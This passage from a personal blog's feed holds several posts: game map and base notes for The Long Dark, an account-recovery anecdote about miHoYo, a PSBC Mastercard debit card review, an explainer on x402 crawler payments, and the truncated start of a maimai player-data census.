&lt;p&gt;The warmed workbench: (the only one on all of Great Bear Island)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/048.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This map has one clearly inappropriate translation: the English original is Angler&apos;s Den, the simplified Chinese is &quot;anglerfish nest&quot;, and the traditional Chinese is &quot;the angler&apos;s nest&quot;, which is a bit more reliable than the simplified one.&lt;/p&gt;
&lt;p&gt;Although Ash Canyon connects to Timberwolf Mountain, if you take the direct passage at Echo Canyon as the reference, the map just doesn&apos;t line up however you place it. So either the canyon rotates 90° clockwise or the mountain rotates 90° counterclockwise — someone has to get wrecked.&lt;/p&gt;
&lt;p&gt;Base recommendations:
Miner&apos;s Folly Rating 4/5&lt;/p&gt;
&lt;p&gt;Pros: two very close buildings that add up to decent space, with a built-in fireplace and a burn barrel outside, plus the unique warmed workbench. Whether you&apos;re making clothes, replenishing arrows and snares, or clearing cabin fever, it&apos;s all convenient. Close to the bear cave so killing the bear is easy, rabbit and deer spawns are nearby, and the whole activity area has no wolf spawns.&lt;/p&gt;
&lt;p&gt;Cons: fairly remote and isolated. If you live here long term, hauling cloth and scrap metal over takes a lot of effort, not to mention needing to regularly go to Bleak Inlet to repair knives or forge new ones. It&apos;s a bit far from fishing spots and there isn&apos;t enough food to eat your fill all day; firewood isn&apos;t exactly scarce but isn&apos;t plentiful either, and stockpiling more requires crossing the bridges to gather. The weather isn&apos;t ideal either.&lt;/p&gt;
&lt;p&gt;A warmed workbench + no wolves + next to a bear cave makes for a very excellent base, but unfortunately the map is too remote, which lowers its ceiling.&lt;/p&gt;
&lt;p&gt;Angler&apos;s Den  Rating 2/5&lt;/p&gt;
&lt;p&gt;Pros: central location, built-in workbench and single-burner stove, a burn barrel not far from the door, and it&apos;s not far from either of the two moose points.&lt;/p&gt;
&lt;p&gt;Cons: small, few containers, no windows so at night you can&apos;t even find the bed. Surrounded by wolves, and although it&apos;s central, nowhere is actually close, which combined with the canyon&apos;s lousy weather is pretty miserable.&lt;/p&gt;
&lt;p&gt;It&apos;s the kind of temporary base with a locational advantage: you can gather the upper-layer supplies here and then try to haul them out of the canyon. Not recommended for long stays.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Blackrock &amp;amp; Map 12&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/049.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/050.webp&quot; alt=&quot;Image&quot; /&gt;Interior map of the prison&lt;/p&gt;
&lt;p&gt;Blackrock Prison is generally north of Great Bear Island, encircled by Mountain Town, Pleasant Valley and Timberwolf Mountain, and can currently be reached via Pleasant Valley and Timberwolf Mountain. The Timberwolf Mountain connection is an indoor cave northwest of Andre&apos;s Peak, leading directly to below the bricklayer&apos;s retreat. The Pleasant Valley connection is Long Curve; after passing through two long connector maps, the southern and northern sides of the Keeper&apos;s Pass, you reach the other side of the blocked road in the southern part of the Blackrock map.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Transfer Pass &amp;amp; DLC map&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/051.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Forsaken Airfield &amp;amp; DLC map&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/052.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/053.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Zone of Contamination &amp;amp; DLC map&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/054.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/055.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sundered Pass &amp;amp; DLC map&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/056.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Carter Hydro Dam &amp;amp; Environs / Winding River (connector map)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/057.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Carter Hydro Dam &amp;amp; Environs, a connector map, traditional Chinese name 卡特水壩及附近區域. This map generally isn&apos;t treated as a whole: the dam part is often mistaken for a Mystery Lake building and is commonly called the dam; the rest is commonly called the Winding River.&lt;/p&gt;
&lt;p&gt;Geography: as a connector map it lies between Mystery Lake and Pleasant Valley. It consists of three parts: the dam, the Winding River, and the connecting cave to Pleasant Valley.&lt;/p&gt;
&lt;p&gt;Climate: as a connector map, passing through generally inherits the weather of Mystery Lake or Pleasant Valley.&lt;/p&gt;
&lt;p&gt;Important resources: the safe on the upper level&apos;s first floor may contain a revolver; on the upper level&apos;s basement floor, opposite the stairs leading to the dam&apos;s lower level, a revolver or rifle may spawn; on the desk in the turbine room on the lower level a revolver may spawn. All are independent spawn points. Arrows are nailed into the door leading from the dam&apos;s lower level up to the upper level.&lt;/p&gt;
&lt;p&gt;Carter Hydro Dam is the biggest scrap metal source in the game: breaking down all the breakable objects inside the dam, such as chairs and metal shelving, yields about 720 scrap metal and about 80 cloth, but you also have to watch out for aurora wires suddenly becoming live and for cabin fever risk accumulating.&lt;/p&gt;
&lt;p&gt;Other: the entrance and exit between the dam and the Winding River are both one-way — the exit is a safe door, and the entrance is a broken window on the other side.&lt;/p&gt;
&lt;p&gt;Aurora nights restore power [Note 6], and live scattered wires damage the player and apply the burn debuff. In story mode you can get through some electrified areas by using the elevator and shutting off the breakers, but in Survival mode neither works. The only way through the dam on an aurora night in Survival mode is to sprint and force your way through the electrified areas; even at your lightest load, forcing your way through the three mandatory electrified stretches costs over 80% of your condition, so it&apos;s best to stay away from the dam during auroras — it brings misfortune.&lt;/p&gt;
&lt;p&gt;Although the dam is constant-temperature throughout, there are still some temperature differences between areas. For example, it&apos;s a constant -5 at the Mystery Lake entrance on the upper level, and a constant -8 by the turbine room, so watch the temperature bar when searching in the early game.&lt;/p&gt;
&lt;p&gt;Base recommendations: usually discussed together with the trailer at the door; see the Mystery Lake chapter.&lt;/p&gt;
&lt;p&gt;Notes
Note 6: The aurora is a weather type in the game that can only trigger at night, with strange lights flashing in the sky accompanied by eerie background music. The aurora has two main effects. One is restoring electrical devices to working order, seen as lights flickering crazily, some computers letting you read records, music channels on the radio, and live scattered wires damaging the player and applying the burn debuff. The second affects animals: rabbits, deer and moose stop spawning, and bears and wolves get a green buff. Aurora bears and wolves have 50% more health plus an extra 25% damage reduction, and all their attributes including sight range and charge distance are boosted; they&apos;re no longer afraid of the usual counters like campfires, flares and the flare gun. But aurora creatures have one weakness: they fear light. An aurora creature illuminated by a streetlight, car headlight or a flashlight in high-beam mode is frozen in place, and prolonged exposure can even scare off an aurora wolf. Aurora bears won&apos;t be scared off, but precisely because of this they&apos;ll stand there stupidly taking hits.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/058.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Aurora night&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/059.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Aurora bear&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Raven Falls Railway Line / Ravine (connector map)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/060.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Raven Falls Railway Line, also known as the Ravine, a connector map, traditional Chinese name 渡鴉瀑布鐵路線 &amp;amp; 溪谷, generally called the Ravine. A classic two-part connector map name; both names count as official.&lt;/p&gt;
&lt;p&gt;Geography: between Mystery Lake, Coastal Highway and Bleak Inlet. The train flew off the tracks and crashed into the Ravine basin, cutting the whole railway; to pass normally you have to detour over a log bridge beside it.&lt;/p&gt;
&lt;p&gt;Climate: as a connector map, passing through generally inherits the weather of Mystery Lake or Pleasant Valley.&lt;/p&gt;
&lt;p&gt;Important resources: the train car in the Ravine basin has a flare gun case with a flare gun and some rounds (on Interloper the gun is guaranteed with 4 rounds; on other difficulties it&apos;s said there&apos;s a chance no gun spawns, which can&apos;t currently be disproven). The upper car that didn&apos;t fall has a fixed 4L fuel can. There are two climbing rope spawn points on the map, but a rope doesn&apos;t always spawn. There are also large, concentrated birch bark spawns.&lt;/p&gt;
&lt;p&gt;Other:  the only map in the whole game without wolves. As long as you don&apos;t go slope-climbing all over the place, it&apos;s very safe.&lt;/p&gt;
&lt;p&gt;The middle section of the Raven Falls trestle is damaged. Dying from a fall here counts as one of the classic deaths in this game, so slow down and cross carefully.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/061.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The climbing spot leading down to the Ravine basin has no rope by default, and there&apos;s an invisible kill zone ring around the Ravine basin: a player who crosses it is given a very high fall damage and basically always dies. Those who want to slope-climb down into the Ravine without a rope should back up their save first or copy a video guide&apos;s route exactly [Note 7].&lt;/p&gt;
&lt;p&gt;The rope into the Ravine basin is usually the first long rope a player encounters. A rope of this height is very hard to climb in one go when you&apos;re not at full condition. I recommend using the ledges midway to recover stamina, or simply using a stim&apos;s stamina-lock effect to force your way up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/062.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Base recommendations: usually discussed together with the trailer outside the dam. Some people do like to live here alone because there are no wolves, but I don&apos;t think a place without even an indoor bed deserves to be called a base.&lt;/p&gt;
&lt;p&gt;Notes
Note 7: The game&apos;s save location is C:\Users\你的用户名\AppData\Local\Hinterland\TheLongDark. This is valid for Windows 10 on Steam; other operating systems and platforms are untested.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Old Island Connector / Crumbling Highway (connector map)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/063.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Old Island Connector, also known as Crumbling Highway, a connector map. Traditional Chinese name 舊島連接區 &amp;amp; 破碎公路. A classic two-part connector map name; both names count as official, though I lean toward calling it Crumbling Highway.&lt;/p&gt;
&lt;p&gt;Geography: between Coastal Highway and Desolation Point. The structure is similar to Coastal Highway, except the highway is cut off in the middle.&lt;/p&gt;
&lt;p&gt;Climate: as a connector map, passing through generally inherits the weather of Coastal Highway or Desolation Point.&lt;/p&gt;
&lt;p&gt;Important resources: Abandoned Mine No. 3 has lots of coal spawn points, and flotsam spawns near the thin ice.&lt;/p&gt;
&lt;p&gt;Other: the terrain is narrow and complex, and multiple wolves spawn. Neither the ice nor the mountainside is safe; cross carefully and slowly so you don&apos;t run into a wolf around a corner.&lt;/p&gt;
&lt;p&gt;Base recommendations: none. A place without even a bed doesn&apos;t deserve to be a base.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Keeper&apos;s Pass South and North (connector maps)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/064.webp&quot; alt=&quot;Image&quot; /&gt;Keeper&apos;s Pass South is a fairly short connector map, with a house, ice fishing huts and wolves. There aren&apos;t many side paths, but watch the thin ice on the river.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/065.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/066.webp&quot; alt=&quot;Image&quot; /&gt;Keeper&apos;s Pass North is a long, tedious connector map. It&apos;s where Mackenzie escapes at the start of chapter 4. Although there are no wolves the whole way, the total distance is very long and there&apos;s no warming point along the way. Under the architect&apos;s bridge there&apos;s a non-warm cave with a flare gun case inside; on non-Interloper it comes with rounds, but on Interloper there&apos;s only the gun. You can slope-climb down, but in normal play you can only climb a rope to get back up.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Far Territory Branch Road (connector map)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/067.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/068.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><category>游戏</category><author>Chongxi</author></item><item><title>A Case of Rebinding a miHoYo Passport Phone Number Without Real-Name Verification</title><link>https://xice.cx/en/posts/fkMihoyo/</link><guid isPermaLink="true">https://xice.cx/en/posts/fkMihoyo/</guid><description>A rather mysterious one</description><pubDate>Tue, 14 Jul 2026 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This case provides a method for changing the phone number on a miHoYo Passport that isn&apos;t registered under your own real name&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Your streamer here counts as a miHoYo veteran (or at least used to); I created my account way back in the Honkai era. But I really was careless back then, and the real-name information I filled in wasn&apos;t mine. I also genuinely didn&apos;t know miHoYo doesn&apos;t let you change real-name info, and that set the stage for all this&lt;/p&gt;
&lt;p&gt;Around the start of this year, a friend wanted to borrow my old Genshin account to play (don&apos;t laugh, your streamer really was a hardcore Genshin simp in 2020-21, though not anymore). Then when I went to log in, it hit me: oh no, the old phone number has long been out of use, and a password alone isn&apos;t enough to log in. So I thought about filing an appeal, and the answer was that since the real-name info isn&apos;t mine, appeals aren&apos;t allowed — deadlock&lt;/p&gt;
&lt;p&gt;It may also be because I filed appeals too many times: today while checking my email, I suddenly saw an email about a second appeal, as shown below&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260715_005742_Email.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What a great opportunity. It was my own account anyway, and counts as personal property, so even though I don&apos;t play miHoYo games anymore I should at least save it. So I downloaded 米游社 again and logged in with my email and password. It then asked me to bind a new phone number; of course it still wouldn&apos;t let me change the real-name info, and then the rebinding went through&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260715_003913.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My personal guess is that my excessive appeals caused the account to be flagged as abnormal, miHoYo then put it under risk control, and that&apos;s how this case came about. I also hope that after all these years, miHoYo will allow real-name information changes&lt;/p&gt;
</content:encoded><category>安全</category><category>生活</category><author>Chongxi</author></item><item><title>A Complete Guide to the PSBC Mastercard Debit Card</title><link>https://xice.cx/en/posts/MasterCardDebitPSBC/</link><guid isPermaLink="true">https://xice.cx/en/posts/MasterCardDebitPSBC/</guid><description>A complete guide to the PSBC Mastercard debit card: card details, hands-on experience and how to apply</description><pubDate>Sun, 12 Jul 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It&apos;s been over a year since I got my PSBC Mastercard debit card, so let me briefly share my day-to-day experience with it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/56f36dd134b3b5f5340f718b47ef7cec.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/20260713_135951.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Card details&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;万事达世界之极借记卡&lt;/code&gt;, the new Mastercard NetsUnion version, dual-currency in RMB and USD with automatic currency conversion. The card bears the Mastercard logo; you deposit RMB and overseas transactions are automatically converted and settled in USD&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;普卡 = Mastercard Gold&lt;/li&gt;
&lt;li&gt;金桂卡 = Mastercard Platinum&lt;/li&gt;
&lt;li&gt;富嘉卡 = Mastercard World&lt;/li&gt;
&lt;li&gt;鼎福卡 = Mastercard World Elite&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PSBC classifies customers internally by tier (assets held at the bank over the last three months)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大众客户 &amp;lt; 100,000&lt;/li&gt;
&lt;li&gt;金桂客户 100,000–500,000&lt;/li&gt;
&lt;li&gt;富嘉客户 500,000–6,000,000&lt;/li&gt;
&lt;li&gt;鼎福客户 &amp;gt; 6,000,000&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This card can be used at any overseas location bearing the Mastercard logo (whether it gets declined is another matter)&lt;/p&gt;
&lt;p&gt;This is a debit card, so you have to deposit money before you can spend&lt;/p&gt;
&lt;h2&gt;Hands-on experience&lt;/h2&gt;
&lt;h3&gt;Google Pay overseas&lt;/h3&gt;
&lt;p&gt;First, Google Pay. GPay doesn&apos;t seem to verify the card&apos;s issuing region, so you can easily bind this card in the US region and spend in USD. I&apos;ve seen people say there&apos;s 3DS verification, but in fact when I paid, the money was charged straight away without any secondary confirmation. You should be careful about this — protect your card number and other sensitive information&lt;/p&gt;
&lt;p&gt;Here&apos;s the transaction record for a 17.66 USD purchase on dynadot via Google Pay, for reference — it was made with exactly this Mastercard debit card&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260713_133800_Photos.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260713_133738_Photos.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Although it settles in USD, the statement inside PSBC shows CNY; I&apos;m not sure what the logic behind that is yet. When using it, I recommend depositing exactly as much as you need to pay — for example, if I needed to pay 120 CNY, I deposited 130 — to avoid unnecessary losses&lt;/p&gt;
&lt;h3&gt;Apple pay&lt;/h3&gt;
&lt;p&gt;The US-region App Store can&apos;t bind this card as a USD payment method, because the App Store checks the issuing region, and this card is issued in mainland China, so it can&apos;t be bound and will throw an error&lt;/p&gt;
&lt;p&gt;As for the Apple Pay wallet, it should probably bind fine; Apple is very lax about that&lt;/p&gt;
&lt;h3&gt;Samsung Wallet&lt;/h3&gt;
&lt;p&gt;Binding isn&apos;t supported. The China model only allows UnionPay; I haven&apos;t tried the overseas version, but it most likely won&apos;t work either&lt;/p&gt;
&lt;h3&gt;Steam&lt;/h3&gt;
&lt;p&gt;Same thing — it checks the issuing region, so this card can&apos;t be used for binding&lt;/p&gt;
&lt;h3&gt;PayPal&lt;/h3&gt;
&lt;p&gt;Since my PayPal is in the UK region, I haven&apos;t tried it; if any of you have, leave a note in the comments&lt;/p&gt;
&lt;h3&gt;Recommendations&lt;/h3&gt;
&lt;p&gt;Basically, anything that checks the issuing region won&apos;t work. For everyday online spending you can go through Google Pay or PayPal (if it works). Once the card is bound to Google Pay, prioritize it wherever the merchant allows Google Pay (like my dynadot one) — it saves a lot of hassle&lt;/p&gt;
&lt;h3&gt;Offline payments&lt;/h3&gt;
&lt;p&gt;It depends. In Hong Kong and Macau I used it at McDonald&apos;s last year without issue; I haven&apos;t tried other places yet. Anyone with experience is welcome to add to this&lt;/p&gt;
&lt;h3&gt;Using it as an RMB savings card&lt;/h3&gt;
&lt;p&gt;No problem at all — it works perfectly well as an ordinary UnionPay card, and you can bind it to WeChat Pay, Alipay and so on. But since it isn&apos;t UnionPay, you can&apos;t bind it to 云闪付, and it can be upgraded to a Class I account.&lt;/p&gt;
&lt;p&gt;There&apos;s a funny story here, though: when I was handling business at a PSBC branch, the staff didn&apos;t recognize this card, and only let me through after repeatedly confirming it wasn&apos;t a forged fake card&lt;/p&gt;
&lt;p&gt;Of course, unless necessary I don&apos;t recommend getting only this card as your main one. For domestic use you&apos;re better off having a fully functional UnionPay Class I account to avoid unnecessary trouble — after all, every extra overseas payment channel adds a risk surface. The &quot;deposit exactly what you spend&quot; advice above is the same idea&lt;/p&gt;
&lt;h2&gt;How to apply&lt;/h2&gt;
&lt;p&gt;To apply online, click this link: &lt;a href=&quot;https://wap.psbc.com/zh/static/h5/dzkp/index.html?c1=8#/enter-form&quot;&gt;PSBC Mastercard debit card application&lt;/a&gt;. This is PSBC&apos;s official website; inside it select 万事有礼, fill in your personal information, pay the card production fee, and the card will be issued. After you receive it, you need to activate it at a PSBC branch counter, following the normal debit card application process&lt;/p&gt;
&lt;p&gt;As for applying in person, I applied online so I don&apos;t know much; anyone with experience can comment&lt;/p&gt;
&lt;h3&gt;For users over 16 but under 18&lt;/h3&gt;
&lt;p&gt;I called customer service to ask about this for you. If you have proof of employment income, you can go activate it yourself; otherwise a parent has to take you to do it on your behalf, and mobile banking probably won&apos;t work either. If you&apos;re 18 or over, just go yourself&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Overall it&apos;s still worth getting one. The card production fee is the price of a cup of milk tea, the day-to-day experience is acceptable, and it covers overseas online spending in ordinary scenarios. Using it domestically as an ordinary UnionPay card doesn&apos;t run into any major obstacles either. Decide based on your own situation — it&apos;s a card that&apos;s not outstanding but not especially terrible, and worth a try&lt;/p&gt;
&lt;p&gt;A little rambling: the low barrier is arguably its biggest selling point. PSBC itself has probably also considered the limitation of the card being issued in mainland China; since the ceiling is capped anyway, better to lower the floor and make the cost of trying it lower. If it&apos;s enough, keep using it; if not, you won&apos;t lose much. For the bank, more customers isn&apos;t a bad thing, and debit cards carry no bad-debt risk. Low barrier for the user, low risk for the bank — that&apos;s probably why this card can exist at all: neither side has much to lose&lt;/p&gt;
</content:encoded><category>生活</category><author>Chongxi</author></item><item><title>x402: Can a Status Code From 27 Years Ago Revive the &apos;Human Websites&apos; Drained Dry by AI?</title><link>https://xice.cx/en/posts/x402OverCloudflare/</link><guid isPermaLink="true">https://xice.cx/en/posts/x402OverCloudflare/</guid><description>Can the 402 status code from 1999 let small and mid-sized site owners take back the upper hand in the AI era?</description><pubDate>Thu, 02 Jul 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;The story starts in 1999, when HTTP/1.1 defined a status code called &lt;code&gt;402 Payment Required&lt;/code&gt;, meaning this resource requires payment to access. But at the time nobody knew how to conveniently and securely collect money on the internet, so this status code sank into the vast ocean, and stayed down there for more than twenty years&lt;/p&gt;
&lt;h2&gt;How x402 Works&lt;/h2&gt;
&lt;h3&gt;The Flow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;An agent/AI crawler sends you a request&lt;/li&gt;
&lt;li&gt;The server returns 402, along with a JSON stating the price, the accepted asset type (USDT, say), the settlement network (Tron, say), and the receiving address&lt;/li&gt;
&lt;li&gt;If the client is willing to pay, it signs according to the terms the server has quoted&lt;/li&gt;
&lt;li&gt;The client puts the signature into a dedicated HTTP header and resends the request&lt;/li&gt;
&lt;li&gt;The server verifies the signature and passes it to the settlement party; if everything checks out, it returns 200 and lets it through&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;How Do You Prove I Paid?&lt;/h3&gt;
&lt;p&gt;Anyone who understands modern cryptography a little has probably already figured it out: once the payload is signed, nobody can tamper with it — tamper with it and it becomes invalid. Second, the signature itself is the proof: if you can produce a signature, that shows you control this wallet address, and since this signature only corresponds to this one payment, it can&apos;t be forged&lt;/p&gt;
&lt;h3&gt;What Does the Settlement Party Do?&lt;/h3&gt;
&lt;p&gt;The server doesn&apos;t need to understand blockchain or nodes; it just outsources to a &lt;code&gt;facilitator&lt;/code&gt;, and that party takes care of signature verification / payment validity / whether it&apos;s a replay or other attack / broadcasting on-chain to complete settlement, all in one go. Currently &lt;code&gt;Coinbase Developer Platform&lt;/code&gt; operates the main facilitator, doing fee-free USDC settlement on base chain, which has led many people to question the decentralized credentials of x402, since it depends on a single centralized service provider. I personally am pragmatically oriented and don&apos;t much care about decentralized or not — black cat or white cat, as long as it catches mice it&apos;s a good cat&lt;/p&gt;
&lt;h2&gt;Why x402 Got Dug Up&lt;/h2&gt;
&lt;p&gt;This thing was defined back in 1999, but before web3 finance matured, traditional payment rails were all too heavy; web3 has now solved exactly this long-standing problem. Second, AI has become the main visitor. The traditional internet was designed for people: when people hit paid content they subscribe and pay themselves. But now, much of the time it&apos;s AI looking at your site, and it won&apos;t subscribe or look at ads — and AI requests are already a million times the human volume. Where there&apos;s demand there&apos;s a market: people need a way to meter AI, so Coinbase and Cloudflare hit it off and jointly pushed for the founding of the x402 Foundation, opening up and standardizing 402&lt;/p&gt;
&lt;h2&gt;timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2025/07/01 Cloudflare launched &lt;code&gt;Pay Per Crawl&lt;/code&gt; in private beta, letting content owners charge AI crawlers via 402. At the time there were three policies: fully open / set a price / block everything outright&lt;/li&gt;
&lt;li&gt;2025/09 The two giants Coinbase &amp;amp; Cloudflare hit it off and began pushing for the founding of the x402 Foundation&lt;/li&gt;
&lt;li&gt;Late October 2025 The x402 Foundation was formally announced&lt;/li&gt;
&lt;li&gt;2026/7/1 Very recently, Cloudflare released a monetization gateway, expanding the charging scope from crawlers only to any caller, and changing per-request charging to charging based on whether the content is cited (because crawling is a terrible metric: a page might be crawled once but cited thousands of times, or crawled countless times but never used by anyone&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Case Studies&lt;/h2&gt;
&lt;p&gt;Cloudflare data shows that in June 2025, OpenAI&apos;s referral ratio was 1700:1, and Anthropic&apos;s was 73000:1. Also according to Cloudflare, only 37% of the top ten thousand sites have correctly configured &lt;code&gt;robots.txt&lt;/code&gt; — quite shocking&lt;/p&gt;
&lt;p&gt;On DeveloperIO, a developer connected x402 to his own site (a DJ gig database with ten thousand entries). OpenAI&apos;s crawler did indeed pay through x402, but at the time it was the only crawler that supported it; what followed was a full paywall that blew up his SEO, and in the end he had to switch to partially free, partially paid&lt;/p&gt;
&lt;h2&gt;Controversy&lt;/h2&gt;
&lt;p&gt;Recently, looking at HackerNet, there are basically two typical controversies&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Some think this approach will discourage users&apos; willingness to pay&lt;/li&gt;
&lt;li&gt;Some think Cloudflare will bring privacy problems, and wonder whether it can become the new AdSense or will turn into a failed payment experiment&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;My view is that, for small and mid-sized site owners, there&apos;s a very high probability the AI companies simply give up crawling. The marginal value of a single piece of content is too low, and the internet is oversupplied with homogenized tutorials and blogs; if you don&apos;t let them crawl, they just switch to another source. There&apos;s no exclusive, hard-to-replicate technical moat in this kind of thing — unless you&apos;re the industry leader with an exclusive data source, in which case there might be some room to negotiate&lt;/p&gt;
&lt;p&gt;Cloudflare changing to citation-based payment is also an admission of this: only when you genuinely create value do you deserve to negotiate terms, and what determines bargaining power is whether the content itself is replaceable. That DJ database got OpenAI to pay precisely because it&apos;s a first-hand, exclusive data source for the whole web; swap in an ordinary personal blog like ours, and there&apos;s a good chance you don&apos;t even reach the threshold of being worth paying for (lol&lt;/p&gt;
&lt;p&gt;Essentially, it gives content providers a bargaining chip to negotiate with, rather than a direct source of monetization&lt;/p&gt;
</content:encoded><category>Web3</category><category>开发</category><author>Chongxi</author></item><item><title>A maimai CN Server Census: Full-Server Player Data Analysis</title><link>https://xice.cx/en/posts/maimaiUIDinsight/</link><guid isPermaLink="true">https://xice.cx/en/posts/maimaiUIDinsight/</guid><description>A maimai DX full-server data analysis: a census of the CN server after nearly six years of operation.</description><pubDate>Mon, 29 Jun 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A note before you read: this analysis report is based on player data from early 2026. Since the data is half a year out of date, analyzing full-server rating isn&apos;t very meaningful, so this article mainly uses the known data to conduct a census and analyze the things related to UID&lt;/p&gt;
&lt;p&gt;Unless otherwise stated, the data in this article is as of 2026/01/01&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;We learned years ago that maimai UIDs are eight-digit sequential numbers starting with 1, and that UIDs increase. That&apos;s why before 1.53 it was possible to scan the whole server&apos;s player data by brute force: attackers could just start at 10000000 and iterate through every living player one by one&lt;/p&gt;
&lt;p&gt;The smallest UID is &lt;code&gt;10103750&lt;/code&gt;, which means the oldest veteran on the maimai CN server is very likely this one&lt;/p&gt;
&lt;p&gt;As of January 2026, the total number of recorded players reached 1.41 million, but only 250,000 were active in the current version&lt;/p&gt;
&lt;p&gt;There were 16417 players with a rating of 0, accounting for 1.2%&lt;/p&gt;
&lt;h2&gt;About bans&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Ban state&lt;/strong&gt;, also called &lt;code&gt;bs&lt;/code&gt;, which means &lt;code&gt;ban state&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are 24 recorded bs1 accounts, accounting for 0.002%&lt;/li&gt;
&lt;li&gt;There are 233 bs2 accounts, accounting for 0.016%&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;bs1 is a warning: every time you get on a machine a red box pops up for five seconds, and you cannot take part in Friend Versus or content beyond the Prism Tower in Kaleidoscope mode
bs2 is a permanent ban&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Number of players using the default username&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;277062 players use the default maimai username, accounting for 19.8%&lt;/li&gt;
&lt;li&gt;7685 players use the username 舞萌, accounting for 0.54%&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The part everyone loves&lt;/h2&gt;
&lt;p&gt;This section documents the dirty data some CN server hackers have dumped into the maimai servers&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;16 players had a rating equal to that sensitive date&lt;/li&gt;
&lt;li&gt;1 player had their version number changed to 「天安门」&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Hacker ratings&lt;/h3&gt;
&lt;p&gt;See if your certificate of honor is in the list&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
